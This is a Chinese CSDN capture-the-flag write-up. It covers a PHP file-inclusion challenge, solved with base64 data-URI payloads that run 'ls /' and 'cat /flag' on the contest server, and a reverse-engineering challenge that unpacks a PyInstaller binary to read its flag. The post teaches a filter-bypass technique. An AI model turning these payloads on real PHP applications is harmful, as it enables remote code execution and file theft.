2023年磐石行动第五周

文章讲述了如何通过分析Web应用的源码,发现文件包含漏洞,并利用dataURIscheme和base64编码绕过过滤执行PHP代码来获取系统信息。同时,通过idaPro分析Python打包的ELF文件,使用pyinstxtractor.py解包,因uncompyle6不支持Python3.9版本,故转换字节码找到明文flag。
摘要由CSDN通过智能技术生成

1、WEB-童年动漫图片鉴赏

在这里插入图片描述
题目打开之后可以通过点击选择所需的显示的图片,通过源码发现选择1就是通过img加载1.png图片,然后还发现一个链接,这个就是点击详细信息可以看到的网页的链接。

在这里插入图片描述
得到访问链接如下:

http://80.endpoint-af341859a9034ef3ac0f4c3aa0ff306f.m.ins.cloud.dasctf.com:81/index.php?number=1.&see=1

然后尝试包含刚才的1.png图片发现报错

在这里插入图片描述
发现代码通过include进行文件包含,那么接着如何想通过iconv或者伪造协议进行文件读取啥的,然后就发现过滤了一些字符

php input zip phar log . < /

通过测试发现如下过滤,其中将/过滤之后基本上伪造协议就不能用了,不过这个地方没有过滤data,那么data就是突破口

1、data://text/plain, 
2、data://text/plain;base64,

见过的简写如下,不过还是有/不能使用:
1、data:text/plain, 
2、data:text/plain;base64,

答案知道还可以省略text/plain,这样就可以使用了:
1、data:, 
2、data:;base64,

但是过滤了<导致明文是不行了,需要使用base64进行绕过

payload基本结构如下:

data:;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D

代码如下:<?php phpinfo(); ?>
发现base64解码不对

data:;base64,PD9waHAgcGhwaW5mbygpOz8%2B
<?php phpinfo();?>
base64解码正确

发现最后是%2b(+)可以执行,如果是其他的字符都不行,即使使用%00截断字符串也不行
在这里插入图片描述
但是如果通过补充空格让字符成为%2b结尾,那么就可以正确执行

payload1:

http://80.endpoint-af341859a9034ef3ac0f4c3aa0ff306f.m.ins.cloud.dasctf.com:81/index.php?number=data:;base64,PD9waHAgc3lzdGVtKCJscyAvICIpOz8%2B&see=1

<?php system("ls / ");?>
PD9waHAgc3lzdGVtKCJscyAvICIpOz8%2B

在这里插入图片描述

payload2如下:

http://80.endpoint-af341859a9034ef3ac0f4c3aa0ff306f.m.ins.cloud.dasctf.com:81/index.php?number=data:;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWcgICIpOz8%2B&see=1

<?php system("cat /flag  ");?>
PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWcgICIpOz8%2B

在这里插入图片描述
得到flag如下:

flag{79536595849293618946653799177804} 

2、RE-Plane Fight

通过IDA Pro64发现PyInstaller,那估计就是python程序打包的elf,那么使用pyinstxtractor.py进行解包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fm1hluqH-1687762103998)(一周一练wp/image-20230522144351335.png)]

然后得到python字节码,然后发现是python3.9,然后安装python3.9和python3.9下面的uncompyle6工具[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8l0wu4VW-1687762103998)(一周一练wp/image-20230522145151580.png)]

然后发现uncompyle6不支持python3.9
在这里插入图片描述
那么只能通过pyc转字节码然后读取字节码发编译了,得到字节码如下:

python3 pyc_to_字节码.py
  3           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (pygame)
              6 STORE_NAME               0 (pygame)
.......

145        1156 LOAD_CONST              55 ('DASCTF{da439bbdf54b6da297a734ca11164068}')
           1158 STORE_NAME              47 (score)


直接发现明文的flag

DASCTF{da439bbdf54b6da297a734ca11164068}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值